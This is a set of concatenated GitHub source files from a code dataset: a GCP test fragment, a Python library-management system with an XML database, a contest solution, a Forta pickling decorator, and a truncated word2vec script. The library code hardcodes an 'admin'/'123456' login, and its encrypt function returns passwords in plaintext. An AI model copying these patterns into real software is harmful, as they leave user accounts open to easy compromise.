gcp_mocks.FAKE_GCST.S3ToGCS(\n 's3://s3_source_bucket/file.name',\n 'fake-zone-2b',\n 'gs://gcs_sink_bucket/test_path')\n","repo_name":"google/cloud-forensics-utils","sub_path":"tests/providers/gcp/internal/test_storagetransfer.py","file_name":"test_storagetransfer.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":413,"dataset":"github-code","pt":"19"} +{"seq_id":"28894097280","text":"'''\n所有有关数据的操作全部集中在这个文件中\n以xml实现的简易数据库\n'''\nimport time\nfrom lxml import etree\n\nSTUDENT_KEY = ['SID', 'PASSWORD', 'SNAME', 'DEPARTMENT', 'MAJOR', 'MAX']\nBOOK_KEY = ['BID', 'BNAME', 'AUTHOR', 'PUBLICATION_DATE',\n 'PRESS', 'POSITION', 'SUM', 'NUM']\nBORROW_KEY = ['BID', 'SID', 'BORROW_DATE', 'DEADLINE', 'PUNISH']\nLOG_KEY = ['BID', 'SID', 'BORROW_DATE', 'BACK_DATE', 'PUNISHED']\nKEY = {\n 'student': STUDENT_KEY,\n 'book': BOOK_KEY,\n 'borrowing_book': BORROW_KEY,\n 'log': LOG_KEY\n}\n\n\ndef list_to_nodetree(node_list: list, tag: str):\n '''\n 传入二维列表[[,,...],...]\n 返回ElementTree\n \n \n \n \n ...\n \n ...\n \n '''\n nodes = etree.Element(tag)\n tag = tag[:-1]\n for i in node_list:\n nodes.append(list_to_node(i, tag))\n return nodes\n\n\ndef list_to_node(info: list, tag: str):\n '''\n 传入一维数组,类型,返回Element\n \n \n \n ...\n \n '''\n key_list = KEY[tag]\n node = etree.Element(tag)\n for key, text in zip(key_list, info):\n item = etree.Element(key)\n item.text = text\n node.append(item)\n return node\n\n\ndef nodetree_to_list(nodetree):\n '''\n 传入ElementTree\n \n \n \n \n ...\n \n ...\n \n 返回[[ , ,...],...]\n '''\n ans = []\n for node in nodetree.getchildren():\n temp = []\n for item in node.getchildren():\n temp.append(item.text)\n ans.append(temp)\n return ans\n\n\ndef open_database() -> dict:\n '''\n 打开数据库\n 返回database{\n 'student':[[SID, PASSWORD, SNAME, DEPARTMENT, MAJOR, MAX],...],\n 'book':[[BID, BNAME, AUTHOR, PUBLICATION_DATE, PRESS, POSITION, SUM, NUM],...],\n 'borrowing_book':[[BID, SID, BORROW_DATE, DEADLINE, PUNISH],...],\n 'log':[[BID, SID, BORROW_DATE, BACK_DATE, PUNISHED],...]\n }\n '''\n try:\n doc = etree.parse('data/database.xml')\n root = doc.getroot()\n children = root.getchildren()\n ans = {}\n for nodetree in children:\n ans[nodetree.tag] = nodetree_to_list(nodetree)\n except Exception as e:\n print('Open error')\n print(e)\n ans = None\n finally:\n return ans\n\n\ndef close_database(data: dict):\n '''\n 关闭数据库\n 传入database{\n 'student':[[SID, PASSWORD, SNAME, DEPARTMENT, MAJOR, MAX],...],\n 'book':[[BID, BNAME, AUTHOR, PUBLICATION_DATE, PRESS, POSITION, SUM, NUM],...],\n 'borrowing_book':[[BID, SID, BORROW_DATE, DEADLINE, PUNISH],...],\n 'log':[[BID, SID, BORROW_DATE, BACK_DATE, PUNISHED],...]\n }\n 返回bool\n '''\n try:\n ans = True\n database = etree.Element('database')\n database.append(list_to_nodetree(data['students'], 'students'))\n database.append(list_to_nodetree(data['books'], 'books'))\n database.append(list_to_nodetree(data['borrowing_books'], 'borrowing_books'))\n database.append(list_to_nodetree(data['logs'], 'logs'))\n database = database.getroottree()\n database.write('data/database.xml')\n except Exception as e:\n print('Close error')\n print(e)\n ans = False\n finally:\n return ans\n\n\n# 去掉字符串末尾的0\ndef remove_zero(val):\n while len(val) != 0 and val[-1] == ' ':\n val = val[:-1]\n return val\n\n\n# 将元组列表转换为字典\ndef convert(val: list):\n if len(val) == 0:\n return None\n val = val[0]\n # 如果是学生\n if len(val) == 5:\n ans = {\n 'class': 'stu',\n 'SID': remove_zero(val[0]),\n 'SNAME': remove_zero(val[1]),\n 'DEPARTMENT': remove_zero(val[2]),\n 'MAJOR': remove_zero(val[3]),\n 'MAX': val[4]\n }\n else:\n ans = {\n 'class': 'admin',\n 'AID': remove_zero(val[0])\n }\n return ans\n\n\n# 把书的元组列表转换为字典\ndef convert_book(val: tuple) -> dict:\n key_list = ['BID', 'BNAME', 'AUTHOR', 'PUBLICATION_DATE', 'PRESS', 'POSITION', 'SUM', 'NUM']\n ans = {}\n for i, key in zip(val, key_list):\n ans[key] = str(i)\n ans['SUM'] = int(ans['SUM'])\n ans['NUM'] = int(ans['NUM'])\n return ans\n\n\n# 将日期延后两个月\ndef postpone(start: str):\n temp = start.split('-')\n temp[0] = int(temp[0])\n temp[1] = int(temp[1])\n temp[1] += 2\n if temp[1] > 12:\n temp[1] -= 12\n temp[0] += 1\n ans = '{:d}-{:0>2d}-{}-{}'.format(temp[0], temp[1], temp[2], temp[3])\n return ans\n\n\n# 两个日期之间间隔的天数\ndef days_between(start: str, end: str):\n start = start.split('-')\n end = end.split('-')\n start[0] = int(start[0])\n start[1] = int(start[1])\n start[2] = int(start[2])\n\n end[0] = int(end[0])\n end[1] = int(end[1])\n end[2] = int(end[2])\n\n s = start[0]*365+start[1]*30+start[2]\n e = end[0]*365+end[1]*30+end[2]\n return e-s\n\n\n# 注册\ndef signup(user_message: dict) -> bool:\n '''\n 传入以下格式的字典\n user_message{\n 'SID': str,\n 'PASSWORD': str,\n 'SNAME': str,\n 'DEPARTMENT': str,\n 'MAJOR': str,\n 'MAX': int\n }\n '''\n res = True\n try:\n database = open_database()\n students = database['students']\n for i in students:\n if i[0] == user_message['SID']:\n raise Exception('用户已存在!')\n new_student = [\n user_message['SID'],\n user_message['PASSWORD'],\n user_message['SNAME'],\n user_message['DEPARTMENT'],\n user_message['MAJOR'],\n str(user_message['MAX'])\n ]\n students.append(new_student)\n close_database(database)\n except Exception as e:\n print('Signup error!')\n print(e)\n res = False\n finally:\n return res\n\n\n# 登录\ndef signin(user_message: dict) -> dict:\n '''\n 传入以下格式的字典\n user_message{\n 'ID': str,\n 'PASSWORD': str\n }\n 如果管理员用户存在返回以下字典\n {\n 'class': 'admin'\n 'AID': str\n }\n 如果学生用户存在返回以下格式的字典\n {\n 'class': 'stu'\n 'SID': str,\n 'SNAME': str,\n 'DEPARTMENT': str,\n 'MAJOR': str,\n 'MAX': int\n }\n 否则返回None\n '''\n ans = None\n try:\n database = open_database()\n students = database['students']\n # 现在administrator表内匹配\n if user_message['ID'] == 'admin' and user_message['PASSWORD'] == '123456':\n temp = [(user_message['ID'],)]\n else:\n temp = []\n # 管理员表内没有找到则在student表内匹配\n if len(temp) == 0:\n for stu in students:\n if stu[0] == user_message['ID'] and stu[1] == user_message['PASSWORD']:\n temp = [(stu[0], stu[2], stu[3], stu[4], int(stu[5]))]\n break\n ans = temp\n except Exception as e:\n print('Signin error!')\n print(e)\n finally:\n return convert(ans)\n\n\n# 更新学生信息\ndef update_student(user_message: dict) -> bool:\n '''\n 传入字典格式如下\n user_message{\n 'SID': str,\n 'PASSWORD': str,\n 'SNAME': str,\n 'DEPARTMENT': str,\n 'MAJOR': str,\n 'MAX': int\n }\n 返回bool\n '''\n try:\n res = False\n database = open_database()\n students = database['students']\n for stu in students:\n if stu[0] == user_message['SID']:\n stu[2] = user_message['SNAME']\n stu[3] = user_message['DEPARTMENT']\n stu[4] = user_message['MAJOR']\n stu[5] = str(user_message['MAX'])\n if 'PASSWORD' in user_message:\n stu[1] = user_message['PASSWORD']\n res = True\n break\n close_database(database)\n except Exception as e:\n print('Update error!')\n print(e)\n finally:\n return res\n\n\n# 获取学生信息\ndef get_student_info(SID: str) -> dict:\n '''\n 传入SID\n 返回stu_info{\n 'class': stu,\n 'SID': str,\n 'SNAME': str,\n 'DEPARTMENT': str,\n 'MAJOR': str,\n 'MAX': int\n }\n 没找到返回None\n '''\n try:\n database = open_database()\n students = database['students']\n temp = []\n for stu in students:\n if stu[0] == SID:\n temp = [(stu[0], stu[2], stu[3], stu[4], int(stu[5]))]\n break\n ans = temp\n except Exception as e:\n print(e)\n print('get student info error')\n ans = []\n finally:\n if ans == []:\n return None\n return convert(ans)\n\n\n# 查找学生\ndef search_student(info: str):\n '''\n 传入SID或学生姓名进行查找\n 返回[[SID, SNAME, DEPARTMENT, MAJOR, MAX],...]\n '''\n try:\n import re\n database = open_database()\n students = database['students']\n res = []\n val = info.split()\n val = [(i, '.*'+i+'.*') for i in val]\n # 显示所有书信息\n if info == 'ID/姓名' or info == '':\n for stu in students:\n stu.pop(1)\n stu[-1] = int(stu[-1])\n res = students\n else:\n # 按条件查找\n for i in val:\n for stu in students:\n if stu[0] == i[0] or re.match(i[1], stu[2]):\n temp = (stu[0], stu[2], stu[3], stu[4], int(stu[5]))\n res.append(temp)\n res = list(set(res))\n temp = []\n for i in res:\n temp_ = []\n for j in range(4):\n temp_.append(remove_zero(i[j]))\n temp_.append(i[4])\n temp.append(temp_)\n res = temp\n except Exception as e:\n print('Search student error!')\n print(e)\n res = []\n finally:\n return res\n\n\n# 删除学生信息\ndef delete_student(SID: str) -> bool:\n '''\n 传入SID\n 删除student表内记录,\n 找出book表内所借的书强制还书\n 删除log表内的记录\n '''\n try:\n res = True\n database = open_database()\n students = database['students']\n borrowing_books = database['borrowing_books']\n books = database['books']\n logs = database['logs']\n remove_borrowing_books = []\n remove_logs = []\n # 先强制把书还掉并记录borrowing_books中需要删除的行\n for borrowing_book in borrowing_books:\n if borrowing_book[1] == SID:\n for book in books:\n if book[0] == borrowing_book[0]:\n book[-1] = str(int(book[-1]) + 1)\n break\n remove_borrowing_books.append(borrowing_book)\n # 记录logs中需要删除的行\n for log in logs:\n if log[1] == SID:\n remove_logs.append(log)\n # 删除学生表内的记录\n for stu in students:\n if stu[0] == SID:\n students.remove(stu)\n break\n # 删除borrowing_book的记录\n for i in remove_borrowing_books:\n borrowing_books.remove(i)\n # 删除log表内的记录\n for i in remove_logs:\n logs.remove(i)\n close_database(database)\n except Exception as e:\n print('delete book error!')\n print(e)\n res = False\n finally:\n return res\n\n\n# 获取学生的借书信息\ndef get_borrowing_books(ID: str, BID: bool = False) -> list:\n '''\n 当BID为False以SID的方式查找否则以BID查找\n 返回此学生在借的书籍列表信息\n [[SID, BID, BNAME, BORROW_DATE, DEADLINE, PUNISH, NUM],[...],....]\n '''\n try:\n res = []\n database = open_database()\n borrowing_books = database['borrowing_books']\n books = database['books']\n if ID == '' or ID == 'ID/姓名':\n for book in books:\n for borrowing_book in borrowing_books:\n if book[0] == borrowing_book[0]:\n res.append((borrowing_book[1], book[0], book[1], borrowing_book[2], borrowing_book[3], int(borrowing_book[4]), int(book[-1])))\n elif BID:\n for book in books:\n for borrowing_book in borrowing_books:\n if book[0] == ID and book[0] == borrowing_book[0]:\n res.append((borrowing_book[1], book[0], book[1], borrowing_book[2], borrowing_book[3], int(borrowing_book[4]), int(book[-1])))\n else:\n for book in books:\n for borrowing_book in borrowing_books:\n if borrowing_book[1] == ID and book[0] == borrowing_book[0]:\n res.append((borrowing_book[1], book[0], book[1], borrowing_book[2], borrowing_book[3], int(borrowing_book[4]), int(book[-1])))\n temp = []\n for i in res:\n temp_ = []\n for j in range(5):\n temp_.append(remove_zero(i[j]))\n temp_.append(i[5])\n temp_.append(i[6])\n temp.append(temp_)\n res = temp\n except Exception as e:\n print('get borrowing books error!')\n print(e)\n res = []\n finally:\n return res\n\n\n# 还书\ndef return_book(BID: str, SID: str) -> bool:\n '''\n 传入BID, SID,删除borrowing_book表内的记录在log表内新建记录\n 返回bool型\n '''\n try:\n res = True\n database = open_database()\n borrowing_books = database['borrowing_books']\n books = database['books']\n logs = database['logs']\n for borrowing_book in borrowing_books:\n if borrowing_book[0] == BID and borrowing_book[1] == SID:\n borrowing_book[3] = time.strftime(\"%Y-%m-%d-%H:%M\")\n logs.append(borrowing_book)\n borrowing_books.remove(borrowing_book)\n for book in books:\n if book[0] == BID:\n book[-1] = str(int(book[-1]) + 1)\n break\n break\n close_database(database)\n except Exception as e:\n print('Return error!')\n print(e)\n res = False\n finally:\n return res\n\n\n# 交罚金\ndef pay(BID: str, SID: str, PUNISH: int) -> bool:\n '''\n 传入BID, SID, PUNISH把当前数的DEADLINE往后延长两个月\n 返回bool型\n '''\n try:\n res = True\n database = open_database()\n borrowing_books = database['borrowing_books']\n for borrowing_book in borrowing_books:\n if borrowing_book[0] == BID and borrowing_book[1] == SID:\n borrowing_book[3] = postpone(time.strftime('%Y-%m-%d-%H:%M'))\n borrowing_book[4] = str(int(borrowing_book[4])+PUNISH)\n close_database(database)\n except Exception as e:\n print('Pay error!')\n print(e)\n res = False\n finally:\n return res\n\n\n# 获取历史记录\ndef get_log(ID: str, BID: bool = False) -> list:\n '''\n 传入SID\n 返回[[SID, BID, BNAME, BORROW_DATE, BACK_DATE, PUNISHED],...]\n '''\n try:\n res = []\n database = open_database()\n logs = database['logs']\n books = database['books']\n if ID == '' or ID == 'ID/姓名':\n for book in books:\n for log in logs:\n if book[0] == log[0]:\n res.append((log[1], log[0], book[1], log[2], log[3], int(log[4])))\n elif BID:\n for book in books:\n for log in logs:\n if log[0] == ID and book[0] == log[0]:\n res.append((log[1], log[0], book[1], log[2], log[3], int(log[4])))\n else:\n for book in books:\n for log in logs:\n if log[1] == ID and book[0] == log[0]:\n res.append((log[1], log[0], book[1], log[2], log[3], int(log[4])))\n except Exception as e:\n print('get log error!')\n print(e)\n res = []\n finally:\n temp = []\n for i in res:\n temp_ = []\n for j in range(5):\n temp_.append(remove_zero(i[j]))\n temp_.append(i[5])\n temp.append(temp_)\n temp.sort(key=lambda x: x[4])\n return temp\n\n\n# 加入新书\ndef new_book(book_info: dict) -> bool:\n '''\n 传入以下格式的字典\n book_msg{\n 'BID': str,\n 'BNAME': str,\n 'AUTHOR': str,\n 'PUBLICATION_DATE': str,\n 'PRESS': str,\n 'POSITION': str,\n 'SUM': int\n }\n 返回bool\n '''\n res = True\n try:\n database = open_database()\n books = database['books']\n for book in books:\n if book[0] == book_info['BID']:\n raise Exception('书ID已存在!')\n books.append([\n book_info['BID'],\n book_info['BNAME'],\n book_info['AUTHOR'],\n book_info['PUBLICATION_DATE'],\n book_info['PRESS'],\n book_info['POSITION'],\n str(book_info['SUM']),\n str(book_info['SUM'])\n ])\n close_database(database)\n except Exception as e:\n print('add book error!')\n print(e)\n res = False\n finally:\n return res\n\n\n# 获取书详细信息\ndef get_book_info(BID: str) -> dict:\n '''\n 传入BID\n 返回book_msg{\n 'BID': str,\n 'BNAME': str,\n 'AUTHOR': str,\n 'PUBLICATION_DATE': str,\n 'PRESS': str,\n 'POSITION': str,\n 'SUM': int,\n 'NUM': int\n }\n '''\n try:\n res = []\n books = open_database()['books']\n for book in books:\n if book[0] == BID:\n res = book\n if len(res) == 0:\n raise Exception('查无此书')\n except Exception as e:\n print('get book info error!')\n print(e)\n res = []\n finally:\n if res != []:\n res = convert_book(res)\n return res\n\n\n# 更新书籍信息\ndef update_book(book_info: dict) -> bool:\n '''\n 传入以下格式的字典\n book_msg{\n 'BID': str,\n 'BNAME': str,\n 'AUTHOR': str,\n 'PUBLICATION_DATE': str,\n 'PRESS': str,\n 'POSITION': str,\n 'SUM': int,\n 'NUM': int\n }\n 返回bool\n '''\n try:\n res = True\n database = open_database()\n books = database['books']\n for book in books:\n if book[0] == book_info['BID']:\n book[1] = book_info['BNAME']\n book[2] = book_info['AUTHOR']\n book[3] = book_info['PUBLICATION_DATE']\n book[4] = book_info['PRESS']\n book[5] = book_info['POSITION']\n book[6] = str(book_info['SUM'])\n book[7] = str(book_info['NUM'])\n break\n close_database(database)\n except Exception as e:\n print('Update book error!')\n print(e)\n res = False\n finally:\n return res\n\n\n# 删除书籍\ndef delete_book(BID: str) -> bool:\n '''\n 传入BID\n 返回bool\n 会删除book,borrowing_book,log表内所有对应的记录\n '''\n try:\n res = True\n database = open_database()\n books = database['books']\n logs = database['logs']\n borrowing_books = database['borrowing_books']\n for book in books:\n if book[0] == BID:\n books.remove(book)\n break\n i = 0\n while i < len(borrowing_books):\n if borrowing_books[i][0] == BID:\n borrowing_books.pop(i)\n i -= 1\n i += 1\n i = 0\n while i < len(logs):\n if logs[i][0] == BID:\n logs.pop(i)\n i -= 1\n i += 1\n close_database(database)\n except Exception as e:\n print('delete book error!')\n print(e)\n res = False\n finally:\n return res\n\n\n# 搜索书籍\ndef search_book(mes: str, SID: str = '') -> list:\n '''\n 可以传���BID或作者或出版或书名社进行查找\n 返回[[BID, BNAME, AUTHOR, PUBLICATION_DATE, PRESS, POSITION, SUM, NUM, STATE],...]\n SID=''则没有STATE\n '''\n try:\n import re\n res = []\n val = mes.split()\n val = [(i, '.*'+i+'.*', '.*'+i+'.*', '.*'+i+'.*') for i in val]\n database = open_database()\n books = database['books']\n borrowing_books = database['borrowing_books']\n students = database['students']\n # 显示所有书信息\n if mes == 'ID/书名/作者/出版社' or mes == '':\n for book in books:\n book[-2] = int(book[-2])\n book[-1] = int(book[-1])\n res = books\n else:\n # 先把借书日期,书本剩余数量,罚金等信息找出\n for book in books:\n for i in val:\n if i[0] == book[0] or re.match(i[1], book[1]) or re.match(i[2], book[2]) or re.match(i[3], book[4]):\n book[-2] = int(book[-2])\n book[-1] = int(book[-1])\n res.append(tuple(book))\n res = list(set(res))\n temp = []\n for i in res:\n temp.append(list(i))\n res = temp\n # 匹配学生信息判断每一本书是否可借\n if SID != '':\n # 获取此学生的借书上限\n max_num = 0\n for stu in students:\n if stu[0] == SID:\n max_num = int(stu[-1])\n\n # 获取此学生所有已经借阅的书\n borrowing_book = []\n for b in borrowing_books:\n if b[1] == SID:\n borrowing_book.append(b)\n\n # 判断是否有逾期未还的书\n punish = False\n for i in borrowing_book:\n if i[3] < time.strftime(\"%Y-%m-%d-%H:%M\"):\n punish = True\n break\n\n # 对每一本书进行判断\n for book in res:\n # 有罚金没交\n if punish:\n book.append('未交罚金')\n continue\n # 如果已经借的书达到上限就不再可借\n if len(borrowing_book) >= max_num:\n book.append('借书达上限')\n continue\n if book[-1] == 0:\n book.append('没有剩余')\n continue\n # 判断受否有此书\n for borrow in borrowing_book:\n if book[0] == borrow[0]:\n book.append('已借此书')\n break\n if book[-1] != '已借此书':\n book.append('借书')\n except Exception as e:\n print('Search error!')\n print(e)\n res = []\n finally:\n return res\n\n\n# 借书\ndef borrow_book(BID: str, SID: str) -> bool:\n '''\n 传入BID和SID\n 返回bool\n book的NUM减一\n 在borrowing_book表内新建记录\n '''\n try:\n res = True\n database = open_database()\n books = database['books']\n borrowing_books = database['borrowing_books']\n # 书的剩余数量减一\n for book in books:\n if book[0] == BID:\n book[-1] = str(int(book[-1])-1)\n BORROW_DATE = time.strftime(\"%Y-%m-%d-%H:%M\")\n DEADLINE = postpone(BORROW_DATE)\n\n # 新建borrowing_book表内的记录\n borrowing_books.append([BID, SID, BORROW_DATE, DEADLINE, '0'])\n close_database(database)\n except Exception as e:\n print('borrow error!')\n print(e)\n res = False\n finally:\n return res\n\n\n# 密码 为了调试方便就先不加密了\ndef encrypt(val):\n import hashlib\n h = hashlib.sha256()\n password = val\n h.update(bytes(password, encoding='UTF-8'))\n result = h.hexdigest()\n result = val\n return result\n\n\nif __name__ == '__main__':\n temp = {\n 'SID': '201602',\n 'PASSWORD': '8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92',\n 'SNAME': '小王',\n 'DEPARTMENT': '数学与信息科学学院',\n 'MAJOR': 'SE',\n 'MAX': 5\n }\n user_message = {\n 'SID': '1',\n 'SNAME': '1111',\n 'PASSWORD': '1',\n 'DEPARTMENT': '1',\n 'MAJOR': '2',\n 'MAX': 6\n }\n temp_login = {\n 'ID': '1',\n 'PASSWORD': '1'\n }\n book_msg = {\n 'BID': '4',\n 'BNAME': 'Java',\n 'AUTHOR': 'kak',\n 'PUBLICATION_DATE': '2019-05',\n 'PRESS': '电子出版社',\n 'POSITION': 'C0005',\n 'SUM': 6,\n 'NUM': 6\n }\n # 注册测试\n # print(signup(temp))\n\n # 还书测试\n # print(get_borrowing_books(''))\n # print(return_book('4', '1'))\n # print(get_borrowing_books(''))\n\n # 登录测试\n # print(signin({'ID': 'admin', 'PASSWORD': '123456'}))\n\n # 查书测试\n # print(search_book('', '2'))\n\n # 推迟日期方法测试\n # print(postpone('2018-11-10-10:58'))\n\n # 借书测试\n # print(borrow_book('4', '1'))\n\n # 获取借书日志测试\n # print(get_log('1', True))\n\n # 更新学生信息测试\n # print(update_student(user_message))\n\n # 加入新书测试\n # print(new_book(book_msg))\n\n # 获取书本详细信息\n # print(get_book_info('7'))\n\n # 删除书籍\n # print(delete_book('2'))\n\n # 查找学生\n # print(search_student(''))\n\n # 获取学生信息\n # print(get_student_info('1'))\n\n # 删除学生\n # print(delete_student('1'))\n\n # 初始化数据库\n # init_database()\n\n # 交罚金测试\n # pay('2', '1', 23)\n\n # 查书测试\n # print(get_book_info('4'))\n\n # 更新书籍测试\n # print(update_book(book_msg))\n","repo_name":"ssynn/library_system_xml","sub_path":"model/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":26380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"16878736229","text":"N = int(input())\nS = list(input())\nst = set()\n\nfor i in range(N):\n if S[i] not in st:\n st.add(S[i])\n if len(st) == 3:\n print(i + 1)\n exit()\n","repo_name":"IuiF/CompProg","sub_path":"contest/abc311/a/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10135422635","text":"\"\"\"Save and index the bot data on the disk.\"\"\"\n\nimport functools\nimport os\nimport pickle\nimport typing\n\nimport pyarrow\n\nimport forta_toolkit.parsing.common\nimport forta_toolkit.parsing.logs\nimport forta_toolkit.parsing.traces\nimport forta_toolkit.parsing.transaction\n\n# CONSTANTS ###################################################################\n\nPATH = '.data/pickle/{alert_id}/{transaction_hash}/'\n\n# FILE SYSTEM #################################################################\n\ndef _dump(data: typing.Any, path: str) -> None:\n \"\"\"Pickle any Python object into a file.\"\"\"\n os.makedirs(name=os.path.dirname(path), exist_ok=True)\n with open(path, 'wb') as __file:\n pickle.dump(obj=data, file=__file)\n\n# PICKLE ######################################################################\n\ndef _serialize_inputs(path: str, args: tuple, kwargs: dict) -> None:\n \"\"\"Serialize any function inputs with pickle.\"\"\"\n for __i in range(len(args)):\n _dump(data=args[__i], path=os.path.join(path, '{name}.pkl'.format(name=__i)))\n for __k, __v in kwargs.items():\n _dump(data=__v, path=os.path.join(path, '{name}.pkl'.format(name=__k)))\n\ndef serialize_io(arguments: bool=True, results: bool=True, filter: bool=True, compress: bool=False, path: str=PATH) -> callable:\n \"\"\"Creates a decorator for handle_transaction to dump its data as serialized python objects.\"\"\"\n\n def __decorator(func: callable) -> callable:\n \"\"\"Actually wraps the handle_transaction and dumps data\"\"\"\n\n @functools.wraps(func)\n def __wrapper(*args, **kwargs):\n \"\"\"Main function called on the logs gathered by the Forta network.\"\"\"\n __findings = func(*args, **kwargs)\n # dump each finding separately\n for __f in __findings:\n # compute the path\n __id = forta_toolkit.parsing.common.get_field(dataset=__f, keys=('alert_id',), default='')\n __metadata = forta_toolkit.parsing.common.get_field(dataset=__f, keys=('metadata',), default={})\n __hash = forta_toolkit.parsing.common.add_hex_prefix(forta_toolkit.parsing.common.get_field(dataset=__metadata, keys=('tx_hash', 'txhash', 'transaction_hash', 'hash',), default=''))\n __path = path.format(alert_id=__id, transaction_hash=__hash)\n # dump the inputs\n if arguments:\n _serialize_inputs(path=__path, args=args, kwargs=kwargs)\n # dump the outputs\n if results:\n _dump(data=__f, path=os.path.join(__path, 'finding.pkl'))\n return __findings\n\n return __wrapper\n\n return __decorator\n","repo_name":"apehex/forta-toolkit","sub_path":"forta_toolkit/indexing/pickle.py","file_name":"pickle.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21126232781","text":"from __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nimport collections,math,os,random,pickle,zipfile,sys\r\nfrom tempfile import gettempdir\r\nimport numpy as np\r\nfrom six.moves import urllib\r\nfrom six.moves import xrange # pylint: disable=redefined-builtin\r\nimport tensorflow as tf\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '4'\r\nfrom language_model import drawProgressBar\r\n\r\nif os.name != 'posix':\r\n\timport matplotlib.pyplot\r\n\timport seaborn as sns\r\n\timport pylab as pl\r\n\tf = open(r'..\\data\\PCH\\paths\\11012018.txt')\r\n\tlines = f.readlines()\r\n\tlines = [i.strip() for i in lines]\r\nelse:\r\n\tf = open('../data/PCH/paths/11012018.txt')\r\n\tlines = f.readlines()\r\n\tlines = [i.strip() for i in lines]\r\n\r\n\r\n\r\ndef addTokens(arr):\r\n\t# function to add\r\n\t# start token and\r\n\t# end token to all sentences\r\n\t# in array\r\n\tprint(\"\\nAdding start and end tokens\\n\")\r\n\tttl = len(arr)\r\n\tfor i in range(ttl):\r\n\t\ttemp = arr[i].split(' ')\r\n\t\ttemp.insert(0,'START')\r\n\t\ttemp.append('END')\r\n\t\ttemp = ' '.join([word for word in temp])\r\n\t\tarr[i] = temp\r\n\t\tdrawProgressBar(i/ttl)\r\n\treturn arr\r\n#lines = addTokens(lines)\r\ntokens = []\r\nfor i in range(len(lines)):\r\n\tsplits = lines[i].split(' ')\r\n\tfor j in range(len(splits)):\r\n\t\ttokens.append(splits[j])\r\nunique_tokens = set(tokens)\r\nunique_words = len(unique_tokens)\r\nprint(\"Number of unique ASes = {}\".format(len(unique_tokens)-1))\r\ndef build_dataset(words, n_words):\r\n\tprint(\"\"\"Process raw inputs into a dataset.\"\"\")\r\n\tcount = [['UNK', -1]]\r\n\t#count = [[]]\r\n\tcount.extend(collections.Counter(words).most_common(n_words - 1))\r\n\tdictionary = dict()\r\n\t#print(count)\r\n\tfor word, _ in count:\r\n\t\tdictionary[word] = len(dictionary)\r\n\tdata = list()\r\n\tunk_count = 0\r\n\tfor word in words:\r\n\t\tindex = dictionary.get(word, 0)\r\n\t\t#print(word,index)\r\n\t\tif index == 0: # dictionary['UNK']\r\n\t\t\tunk_count += 1\r\n\t\tdata.append(index)\r\n\tcount[0][1] = unk_count\r\n\treversed_dictionary = dict(zip(dictionary.values(), dictionary.keys()))\r\n\treturn data, count, dictionary, reversed_dictionary\r\n\r\ndata, count, dictionary, reverse_dictionary = build_dataset(tokens,len(tokens))\r\n#unique_words = len(lines)\r\ndel lines # Hint to reduce memory.\r\n\"\"\"\r\nprint('Most common words (+UNK)', count[:5])\r\nprint('Least common words (+UNK)',count[-5:])\r\nprint('Sample data', data[:10], [reverse_dictionary[i] for i in data[:10]])\r\n\"\"\"\r\npickle.dump(dictionary,open('tokenizedDic','wb'))\r\npickle.dump(count,open('tokenizedCount','wb'))\r\ndata_index = 0\r\n\r\n# Step 3: Function to generate a training batch for the skip-gram model.\r\ndef generate_batch(batch_size, num_skips, skip_window):\r\n\t#print(\"\\n Generating Batches \\n\")\r\n\tglobal data_index\r\n\tassert batch_size % num_skips == 0\r\n\tassert num_skips <= 2 * skip_window\r\n\tbatch = np.ndarray(shape=(batch_size), dtype=np.int32)\r\n\tlabels = np.ndarray(shape=(batch_size, 1), dtype=np.int32)\r\n\tspan = 2 * skip_window + 1 # [ skip_window target skip_window ]\r\n\tbuffer = collections.deque(maxlen=span)\r\n\tif data_index + span > len(data):\r\n\t\tdata_index = 0\r\n\tbuffer.extend(data[data_index:data_index + span])\r\n\tdata_index += span\r\n\tfor i in range(batch_size // num_skips):\r\n\t\tcontext_words = [w for w in range(span) if w != skip_window]\r\n\t\twords_to_use = random.sample(context_words, num_skips)\r\n\t\tfor j, context_word in enumerate(words_to_use):\r\n\t\t\tbatch[i * num_skips + j] = buffer[skip_window]\r\n\t\t\tlabels[i * num_skips + j, 0] = buffer[context_word]\r\n\t\tif data_index == len(data):\r\n\t\t\t#buffer[:] = data[:span]\r\n\t\t\tfor word in data[:span]:\r\n\t\t\t\tbuffer.append(word)\r\n\t\t\tdata_index = span\r\n\t\telse:\r\n\t\t\tbuffer.append(data[data_index])\r\n\t\t\tdata_index += 1\r\n\t# Backtrack a little bit to avoid skipping words in the end of a batch\r\n\tdata_index = (data_index + len(data) - span) % len(data)\r\n\treturn batch, labels\r\n\r\n# Step 4: Build and train a skip-gram model.\r\n\r\nbatch_size = 256\r\nembedding_size = 64 # Dimension of the embedding vector. 32. lets try higher dims\r\nskip_window = 4 # How many words to consider left and right.\r\nnum_skips = 2 # How many times to reuse an input to generate a label.\r\nnum_sampled = 30 # Number of negative examples to sample. \r\n\r\n\r\n\r\n# We pick a random validation set to sample nearest neighbors. Here we limit the\r\n# validation samples to the words that have a low numeric ID, which by\r\n# construction are also the most frequent. These 3 variables are used only for\r\n# displaying model accuracy, they don't affect calculation.\r\nvalid_size = 16 # Random set of words to evaluate similarity on.\r\nvalid_window = 512 # Only pick dev samples in the head of the distribution.\r\nvalid_examples = np.random.choice(valid_window, valid_size, replace=False)\r\n\r\n\r\ngraph = tf.Graph()\r\n\r\nwith graph.as_default():\r\n\r\n\t# Input data.\r\n\ttrain_inputs = tf.placeholder(tf.int32, shape=[batch_size])\r\n\ttrain_labels = tf.placeholder(tf.int32, shape=[batch_size, 1])\r\n\tvalid_dataset = tf.constant(valid_examples, dtype=tf.int32)\r\n\r\n\t# Ops and variables pinned to the CPU because of missing GPU implementation\r\n\twith tf.device('/gpu:0'):\r\n\t\t# Look up embeddings for inputs.\r\n\t\tembeddings = tf.Variable(\r\n\t\t\t\ttf.random_uniform([unique_words, embedding_size], -1.0, 